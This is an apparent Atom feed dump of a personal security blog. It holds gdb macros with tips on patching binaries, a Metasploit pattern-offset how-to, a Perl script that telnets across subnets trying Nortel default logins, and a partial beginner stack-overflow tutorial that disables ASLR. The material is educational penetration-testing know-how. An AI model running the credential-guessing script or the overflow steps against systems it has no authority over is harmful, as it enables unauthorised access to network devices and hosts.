this command uses GAS (AT&amp;amp;T syntax) to assemble.\n"&lt;br /&gt;shell as -o ~/__gdb_tmp.bin&lt;br /&gt;shell objdump -d -j .text --adjust-vma=$arg0 ~/__gdb_tmp.bin&lt;br /&gt;shell rm ~/__gdb_tmp.bin&lt;br /&gt;end&lt;br /&gt;document gas_asm&lt;br /&gt;Assemble Intel x86 instructions to binary opcodes using gas and objdump&lt;br /&gt;Usage: gas_asm address&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# !scary bp_alloc macro!&lt;br /&gt;# The idea behind this macro is to break on the following code:&lt;br /&gt;#    0x4008e0aa &lt;malloc+6&gt;:  sub    $0xc,%esp&lt;br /&gt;#    0x4008e0ad &lt;malloc+9&gt;:  call   0x4008e0b2 &lt;malloc+14&gt;&lt;br /&gt;#    0x4008e0b2 &lt;malloc+14&gt;: pop    %ebx&lt;br /&gt;#    0x4008e0b3 &lt;malloc+15&gt;: add    $0xa3f6e,%ebx&lt;br /&gt;# At 0x4008e0b3, %ebx contains the address that has just been allocated&lt;br /&gt;# The bp_alloc macro generates this breakpoint and *should* work for&lt;br /&gt;# the forseeable future ... but if it breaks, set a breakpoint on&lt;br /&gt;# __libc_malloc and look for where where the return value gets popped.&lt;br /&gt;&lt;br /&gt;define bp_alloc&lt;br /&gt;tbreak *(*__libc_malloc + F) if $ebx == $arg0&lt;br /&gt;end&lt;br /&gt;document bp_alloc&lt;br /&gt;This sets a temporary breakpoint on the allocation of $arg0.&lt;br /&gt;It works by setting a breakpoint on a specific address in __libc_malloc().&lt;br /&gt;USE WITH CAUTION -- it is extremely platform dependent.&lt;br /&gt;Usage: bp_alloc addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define dump_hexfile&lt;br /&gt;dump ihex memory $arg0 $arg1 $arg2&lt;br /&gt;end&lt;br /&gt;document dump_hexfile&lt;br /&gt;Write a range of memory to a file in Intel ihex (hexdump) format.&lt;br /&gt;Usage:    dump_hexfile filename start_addr end_addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define dump_binfile&lt;br /&gt;dump memory $arg0 $arg1 $arg2&lt;br /&gt;end&lt;br /&gt;document dump_binfile&lt;br /&gt;Write a range of memory to a binary file.&lt;br /&gt;Usage:    dump_binfile filename start_addr end_addr&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# _________________cracker tips_________________&lt;br /&gt;# The 'tips' command is used to provide tutorial-like info to the user&lt;br /&gt;define tips&lt;br /&gt; printf "Tip Topic Commands:\n"&lt;br /&gt; printf "\ttip_display : Automatically display values on each break\n"&lt;br /&gt; printf "\ttip_patch   : Patching binaries\n"&lt;br /&gt; printf "\ttip_strip   : Dealing with stripped binaries\n"&lt;br /&gt; printf "\ttip_syntax  : ATT vs Intel syntax\n"&lt;br /&gt;end&lt;br /&gt;document tips&lt;br /&gt;Provide a list of tips from crackers on various topics.&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define tip_patch&lt;br /&gt; printf "\n"&lt;br /&gt; printf "                   PATCHING MEMORY\n"&lt;br /&gt; printf "Any address can be patched using the 'set' command:\n"&lt;br /&gt; printf "\t`set ADDR = VALUE` \te.g. `set *0x8049D6E = 0x90`\n"&lt;br /&gt; printf "\n"&lt;br /&gt; printf "                 PATCHING BINARY FILES\n"&lt;br /&gt; printf "Use `set write` in order to patch the target executable\n"&lt;br /&gt; printf "directly, instead of just patching memory.\n"&lt;br /&gt; printf "\t`set write on` \t`set write off`\n"&lt;br /&gt; printf "Note that this means any patches to the code or data segments\n"&lt;br /&gt; printf "will be written to the executable file. When either of these\n"&lt;br /&gt; printf "commands has been issued, the file must be reloaded.\n"&lt;br /&gt; printf "\n"&lt;br /&gt;end&lt;br /&gt;document tip_patch&lt;br /&gt;Tips on patching memory and binary files&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define tip_strip&lt;br /&gt; printf "\n"&lt;br /&gt; printf "             STOPPING BINARIES AT ENTRY POINT\n"&lt;br /&gt; printf "Stripped binaries have no symbols, and are therefore tough to\n"&lt;br /&gt; printf "start automatically. To debug a stripped binary, use\n"&lt;br /&gt; printf "\tinfo file\n"&lt;br /&gt; printf "to get the entry point of the file. The first few lines of\n"&lt;br /&gt; printf "output will look like this:\n"&lt;br /&gt; printf "\tSymbols from '/tmp/a.out'\n"&lt;br /&gt; printf "\tLocal exec file:\n"&lt;br /&gt; printf "\t        `/tmp/a.out', file type elf32-i386.\n"&lt;br /&gt; printf "\t        Entry point: 0x80482e0\n"&lt;br /&gt; printf "Use this entry point to set an entry point:\n"&lt;br /&gt; printf "\t`tbreak *0x80482e0`\n"&lt;br /&gt; printf "The breakpoint will delete itself after the program stops as\n"&lt;br /&gt; printf "the entry point.\n"&lt;br /&gt; printf "\n"&lt;br /&gt;end&lt;br /&gt;document tip_strip&lt;br /&gt;Tips on dealing with stripped binaries&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define tip_syntax&lt;br /&gt; printf "\n"&lt;br /&gt; printf "\t    INTEL SYNTAX                        AT&amp;amp;T SYNTAX\n"&lt;br /&gt; printf "\tmnemonic dest, src, imm            mnemonic src, dest, imm\n"&lt;br /&gt; printf "\t[base+index*scale+disp]            disp(base, index, scale)\n"&lt;br /&gt; printf "\tregister:      eax                 register:      %%eax\n"&lt;br /&gt; printf "\timmediate:     0xFF                immediate:     $0xFF\n"&lt;br /&gt; printf "\tdereference:   [addr]              dereference:   addr(,1)\n"&lt;br /&gt; printf "\tabsolute addr: addr                absolute addr: *addr\n"&lt;br /&gt; printf "\tbyte insn:     mov byte ptr        byte insn:     movb\n"&lt;br /&gt; printf "\tword insn:     mov word ptr        word insn:     movw\n"&lt;br /&gt; printf "\tdword insn:    mov dword ptr       dword insn:    movd\n"&lt;br /&gt; printf "\tfar call:      call far            far call:      lcall\n"&lt;br /&gt; printf "\tfar jump:      jmp far             far jump:      ljmp\n"&lt;br /&gt; printf "\n"&lt;br /&gt; printf "Note that order of operands in reversed, and that AT&amp;amp;T syntax\n"&lt;br /&gt; printf "requires that all instructions referencing memory operands \n"&lt;br /&gt; printf "use an operand size suffix (b, w, d, q).\n"&lt;br /&gt; printf "\n"&lt;br /&gt;end&lt;br /&gt;document tip_syntax&lt;br /&gt;Summary of Intel and AT&amp;amp;T syntax differences&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;define tip_display&lt;br /&gt;printf "\n"&lt;br /&gt;printf "Any expression can be set to automatically be displayed every time\n"&lt;br /&gt;printf "the target stops. The commands for this are:\n"&lt;br /&gt;printf "\t`display expr'     : automatically display expression 'expr'\n"&lt;br /&gt;printf "\t`display'          : show all displayed expressions\n"&lt;br /&gt;printf "\t`undisplay num'    : turn off autodisplay for expression # 'num'\n"&lt;br /&gt;printf "Examples:\n"&lt;br /&gt;printf "\t`display/x *(int *)$esp`      : print top of stack\n"&lt;br /&gt;printf "\t`display/x *(int *)($ebp+8)`  : print first parameter\n"&lt;br /&gt;printf "\t`display (char *)$esi`        : print source string\n"&lt;br /&gt;printf "\t`display (char *)$edi`        : print destination string\n"&lt;br /&gt;printf "\n"&lt;br /&gt;end&lt;br /&gt;document tip_display&lt;br /&gt;Tips on automatically displaying values when a program stops.&lt;br /&gt;end&lt;br /&gt;# __________________gdb options_________________&lt;br /&gt;set confirm off&lt;br /&gt;set verbose off&lt;br /&gt;#set prompt \033[01;m\033] niel@gdb $ \033[0m&lt;br /&gt;set prompt \033[31mgdb $ \033[0m&lt;br /&gt;set output-radix 0x10&lt;br /&gt;set input-radix 0x10&lt;br /&gt;# These make gdb never pause in its output&lt;br /&gt;set height 0&lt;br /&gt;set width 0&lt;br /&gt;# why do these not work???&lt;br /&gt;set $SHOW_CONTEXT = 1&lt;br /&gt;set $SHOW_NEST_INSN=0&lt;br /&gt;&lt;br /&gt;set disassembly-flavor intel&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#EOF&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/malloc+15&gt;&lt;/malloc+14&gt;&lt;/malloc+14&gt;&lt;/malloc+9&gt;&lt;/malloc+6&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-2494115557582852162?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/2494115557582852162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=2494115557582852162' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/2494115557582852162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/2494115557582852162'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2008/05/gdbinit-security-way.html' title='.gdbinit The Security Way'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-3923300778799977056</id><published>2008-04-25T12:49:00.006-05:00</published><updated>2008-04-25T13:20:49.851-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cept'/><title type='text'>CEPT Redux</title><content type='html'>I have been meaning to post about this for some time now,  but just have never had  a chance. A while back I received Certified Expert Penetration Tester(CEPT) from &lt;a href="http://www.iacertification.org/"&gt;IACRB&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Now I'm not a huge fan of taking tests, but this Cert worked well for me. It started with a normal multiple choice test, basic penetration stuff. If you pass that then they send you the fun. I have to say I never had so much fun taking a test.&lt;br /&gt;&lt;br /&gt;Below is qouted from IACRB&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Challenge #1: Discover and create a working exploit for Microsoft Windows Vulnerability.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Challenge #2: Discover and create a working exploit for Linux Vulnerability.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Challenge #3: Reverse engineer a Windows Binary.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;br /&gt;Once you finish all three challenges you send it in, they review the sploits, and send you the cert.&lt;br /&gt;&lt;br /&gt;While this is not a huge name cert yet, I believe it does hold some merit. It shows the person didn't just memorize a book and can put to practice what they know.  I would recommend taking this if anyone is debating it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.iacertification.org/cept_certified_expert_penetration_tester.html"&gt;http://www.iacertification.org/cept_certified_expert_penetration_tester.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ethicalhacker.net/content/view/173/2/"&gt;http://www.ethicalhacker.net/content/view/173/2/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-3923300778799977056?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/3923300778799977056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=3923300778799977056' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/3923300778799977056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/3923300778799977056'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2008/04/cept-redux.html' title='CEPT Redux'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-6757120792473616390</id><published>2007-08-08T17:02:00.002-05:00</published><updated>2008-04-25T13:23:08.758-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Defcon 15</title><content type='html'>Well just got back from Defcon 15. I will start highlighting on some topics I will be covering but for now I will just post pictures. Didn't really take many.&lt;br /&gt;&lt;br /&gt;&lt;table style="width:194px;"&gt;&lt;tr&gt;&lt;td align="center" style="height:194px;background:url(http://picasaweb.google.com/f/img/transparent_album_background.gif) no-repeat left"&gt;&lt;a href="http://picasaweb.google.com/devin.ertel/Defcon15?authkey=wzFijVz51x0"&gt;&lt;img src="http://lh6.google.com/devin.ertel/Rro73oQ2MIE/AAAAAAAAAF8/VU4lxGnjZe8/s160-c/Defcon15.jpg" width="160" height="160" style="margin:1px 0 0 4px;"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="text-align:center;font-family:arial,sans-serif;font-size:11px"&gt;&lt;a href="http://picasaweb.google.com/devin.ertel/Defcon15?authkey=wzFijVz51x0" style="color:#4D4D4D;font-weight:bold;text-decoration:none;"&gt;Defcon 15&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-6757120792473616390?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/6757120792473616390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=6757120792473616390' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6757120792473616390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6757120792473616390'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2007/08/defcon-15.html' title='Defcon 15'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-145614242138693014</id><published>2007-07-11T10:44:00.000-05:00</published><updated>2007-07-11T10:49:03.783-05:00</updated><title type='text'>Blogger Move</title><content type='html'>Moved from Live Journal &lt;a href="http://kpan1c.livejournal.com/"&gt;http://kpan1c.livejournal.com&lt;/a&gt; to &lt;a href="http://kpan1c.blogspot.com"&gt;http://kpan1c.blogspot.com&lt;/a&gt; . Blogger had some features I wanted to use so I figured I would give it a shot. I will not kill the live journal account just yet. Also, I am not renewing the kpan1c.org domain since I basically only used it as a redirect.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-145614242138693014?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/145614242138693014/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=145614242138693014' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/145614242138693014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/145614242138693014'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2007/07/blogger-move.html' title='Blogger Move'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-9185387504651189850</id><published>2007-03-06T19:50:00.001-06:00</published><updated>2008-04-25T13:24:35.236-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PEX'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Using PEX Lib</title><content type='html'>The metasploit framework has a handy little perl lib&amp;nbsp; to aid you in finding your offset. There is nothing really fancy about it and many may already know about it.&amp;nbsp; I figured for those who don't, its useful enough to highlight. I did use this in my stack overflow example.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;At a very basic level lets say you got a seg fault by inserting 24 characters for input. With the Pex lib you can create a string 24 characters long all of unique dwords.&lt;br /&gt;&lt;br /&gt;To create our pattern of&amp;nbsp; 24 charcters we use pex like so.&lt;br /&gt;&lt;b&gt;&lt;b&gt;&lt;br /&gt;perl -e 'use Pex;print Pex::Text::PatternCreate(20)'&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;or below is a&amp;nbsp; little perl script that you can just&amp;nbsp; run with&amp;nbsp; 24 as the input. Ya I'm that lazy!&lt;br /&gt;&lt;br /&gt;&lt;i&gt;#pex_pattern.pl&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#path to Pex lib in metasploit&lt;br /&gt;&lt;br /&gt;use lib "/home/kpan1c/framework-2.6/lib/";&lt;br /&gt;use Pex;&lt;br /&gt;&lt;br /&gt;print Pex::Text::PatternCreate(@ARGV[0]). "\n";&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;b&gt;./pex_pattern.pl&amp;nbsp; 24&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Output will look like so&lt;br /&gt;&lt;i&gt;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;Now you can just overflow the app with that string and then check EIP or whatever you wanted to overwrite. Once&amp;nbsp; you see what is in it you can pass that string&amp;nbsp; to patternoffset.pl located in the sdk dir of metasploit followed by the length of your pattern and bam you got an offset. Handy, and to think I use to create patterns like AAAABBBBCCCC......&lt;br /&gt;&lt;b&gt;&lt;b&gt;&lt;br /&gt;./patternOffset.pl 0x35614134 24&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://metasploit.com"&gt;http://metasploit.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.syngress.com/catalog/?pid=3270"&gt;http://www.syngress.com/catalog/?pid=3270&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-9185387504651189850?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/9185387504651189850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=9185387504651189850' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/9185387504651189850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/9185387504651189850'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2007/03/using-pex-lib_06.html' title='Using PEX Lib'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-3608011293743354919</id><published>2006-11-08T15:57:00.001-06:00</published><updated>2007-07-11T09:55:23.740-05:00</updated><title type='text'>Nortel-Defaults.pl</title><content type='html'>Well I wrote this a while ago for discovering default username and passwords on Nortel switches. It pretty much can be used for any telnet type device, although I think Cisco may need some more sleep()'s. I know its a dirty script, I needed it fast and figured why not post it. You can change the arrary of user/pass and/or have it go at different subnets and/or change where the switches are and/or scan every ip for a switch. In my case I knew the the octects of the switchs on every subnet.&lt;br /&gt;&lt;br /&gt;######################################################################&lt;br /&gt;&lt;pre&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use	Net::Telnet;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Nortels default username/passwords&lt;br /&gt;@norteldefault = ('rwa','rw','ro','l3','l2','l1','operator','slbop','slbadmin');&lt;br /&gt;&lt;br /&gt;#all switches ip&lt;br /&gt;$top=254;&lt;br /&gt;$bot=126;&lt;br /&gt;&lt;br /&gt;#gernerate hosts to test&lt;br /&gt;for($a= 1; $a &amp;lt; 100; $a++){&lt;br /&gt;&lt;br /&gt;#creat host for every class we want to scan and push on array&lt;br /&gt;#just comment out blocks you dont want to scan or add more&lt;br /&gt;&lt;br /&gt;#192.168.*.1,253&lt;br /&gt;#$temp ="192.1.".$a.".".$top;&lt;br /&gt;#push @hosts,$temp;&lt;br /&gt;#$temp ="192.168.".$a.".".$bot;&lt;br /&gt;#push @hosts,$temp;&lt;br /&gt;&lt;br /&gt;#192.1.*.1,253&lt;br /&gt;#$temp ="192.1.".$a.".".$top;&lt;br /&gt;#push @hosts,$temp;&lt;br /&gt;#$temp ="192.1.".$a.".".$bot;&lt;br /&gt;#push @hosts,$temp;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#10.10.*.1,253&lt;br /&gt;$temp ="10.10.".$a.".".$top;&lt;br /&gt;push @hosts,$temp;&lt;br /&gt;$temp ="10.10.".$a.".".$bot;&lt;br /&gt;push @hosts,$temp;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#setup telnet&lt;br /&gt;$telnet = new Net::Telnet (Timeout =&amp;gt; 3, Errmode =&amp;gt; "return");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#main loop to do the fun&lt;br /&gt;foreach $host (@hosts){&lt;br /&gt;	chomp $host;&lt;br /&gt;	if($telnet-&amp;gt; open($host)){&lt;br /&gt;		print "\nConnected to $host";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;		foreach $userpass (@norteldefault) {&lt;br /&gt;			chomp $userpass;&lt;br /&gt;			$user = $userpass;&lt;br /&gt;			$pass = %userpass;&lt;br /&gt;			&amp;amp;login;&lt;br /&gt;			sleep (30);	&lt;br /&gt;		};&lt;br /&gt;	}&lt;br /&gt;	else{print "\nCould Not Connect To $host"}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;####old testing &lt;br /&gt;#sub conn{&lt;br /&gt;#&lt;br /&gt;#$telnet = new Net::Telnet (Timeout =&amp;gt; 3, Errmode =&amp;gt; "return");&lt;br /&gt;#if($telnet-&amp;gt; open($host)){&lt;br /&gt;#	$connect=1;&lt;br /&gt;#	&amp;amp;login;&lt;br /&gt;#}&lt;br /&gt;#};&lt;br /&gt;&lt;br /&gt;sub login{&lt;br /&gt;print "\nTrying To login with $userpass";&lt;br /&gt;print "\nWaiting 30sec before next guess. prevent susp. and lockouts";&lt;br /&gt;if($telnet -&amp;gt; login($userpass,$userpass)){&lt;br /&gt;	print "\nLogged In With $userpass To $host !!!!";&lt;br /&gt;	print "\nThis has been logged to File!!!!";&lt;br /&gt;}&lt;br /&gt;$telnet -&amp;gt; close;&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;#######################################################################&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Reference:&lt;/b&gt;&lt;br /&gt;http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-3608011293743354919?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/3608011293743354919/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=3608011293743354919' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/3608011293743354919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/3608011293743354919'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/11/nortel-defaultspl_08.html' title='Nortel-Defaults.pl'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-7654183050461483456</id><published>2006-08-12T16:32:00.001-05:00</published><updated>2007-07-11T09:55:23.590-05:00</updated><title type='text'>Simple Local Stack Overflow</title><content type='html'>&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;This is just a beginning document on stack overflows. &lt;br /&gt;If anyone wants to begin to learn about overflows, this is a good place to start. &lt;br /&gt;This example is done on Linux x86. So lets get started.&lt;br /&gt;&lt;br /&gt;First off, if you have a 2.6 kernel you may have Arjan van de Ven's address space &lt;br /&gt;randomization patch. This will cause the stack to begin at a random location. &lt;br /&gt;If you want to find out more information on this check out or google.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://lwn.net/Articles/121845/"&gt;http://lwn.net/Articles/121845/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To make things easier for now, lets turn it off.&lt;br /&gt;You can check to see if its on with the following command.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;cat /proc/sys/kernel/randomize_va_space&lt;/b&gt;&lt;br /&gt;If you get a “1” its on, a “0” means its not. To turn off do the following.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;echo 0 &gt; /proc/sys/kernel/randomize_va_space&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Ok, now thats off lets make sure we enable core dumps.  &lt;br /&gt;If we were to run the program within gdb we don't really need core dumps but &lt;br /&gt;it does make it a bit easier with them. To enable, invoke the following.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ulimit -c unlimited&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Lets start with a small vulnerable program.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;----------------------------vuln.c----------------------------&lt;br /&gt;#include stdio.h //dont forget brackets.couldnt use in post&lt;br /&gt;&lt;br /&gt;int main(int argc, char * argv[])&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;char buf[10];&lt;br /&gt;&lt;br /&gt;if(argc &lt; 2){&lt;br /&gt;printf("usage : %s buffer\n", argv[0]);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;strcpy(buf,argv[1]);&lt;br /&gt;printf("sent to buffer : %s \n", buf);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;----------------------------vuln.c----------------------------&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;As you can see its a very small program that takes user input and copies it &lt;br /&gt;with strcpy() unchecked. It only has a buffer of 10 which doesn't take much &lt;br /&gt;to overflow. So now lets compile and run.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;gcc vuln.c -o vul&lt;br /&gt;&lt;br /&gt;./vuln&lt;br /&gt;Usage : ./vuln buffer&lt;br /&gt;&lt;br /&gt;./vuln AAAAA&lt;br /&gt;sent to buffer: AAAAA&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Now lets get a segmentation fault.  A seg fault is basically the OS telling &lt;br /&gt;the program it is trying to access VMA(Virtual Memory Address) that it does &lt;br /&gt;not have access to.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;./vuln AAAAAAAAAAAAAAAA&lt;br /&gt;sent to buffer : AAAAAAAAAAAAAAAA &lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;We just overflowed the the buffer with 16 “A”'s. Lets take a look in GDB.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;gdb -c core ./vuln&lt;br /&gt;&lt;br /&gt;Core was generated by `./vuln AAAAAAAAAAAAAAAA'.&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;#0  0xa7004141 in ?? ()&lt;br /&gt;(gdb) info register $ebp&lt;br /&gt;ebp            0x41414141       0x41414141&lt;br /&gt;(gdb) i r  $eip&lt;br /&gt;eip            0xa7004141       0xa7004141&lt;br /&gt;(gdb)&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;As you can see we overwrote ebp(Extended Base Pointer) with 0x41414141 which is &lt;br /&gt;“AAAA” but we did not fully overwrite eip(Extended Instruction Pointer).&lt;br /&gt;We want to control eip so we can control the flow of the program. &lt;br /&gt;So lets try it again with some more “A”'s. &lt;br /&gt;&lt;br /&gt;Note: some versions 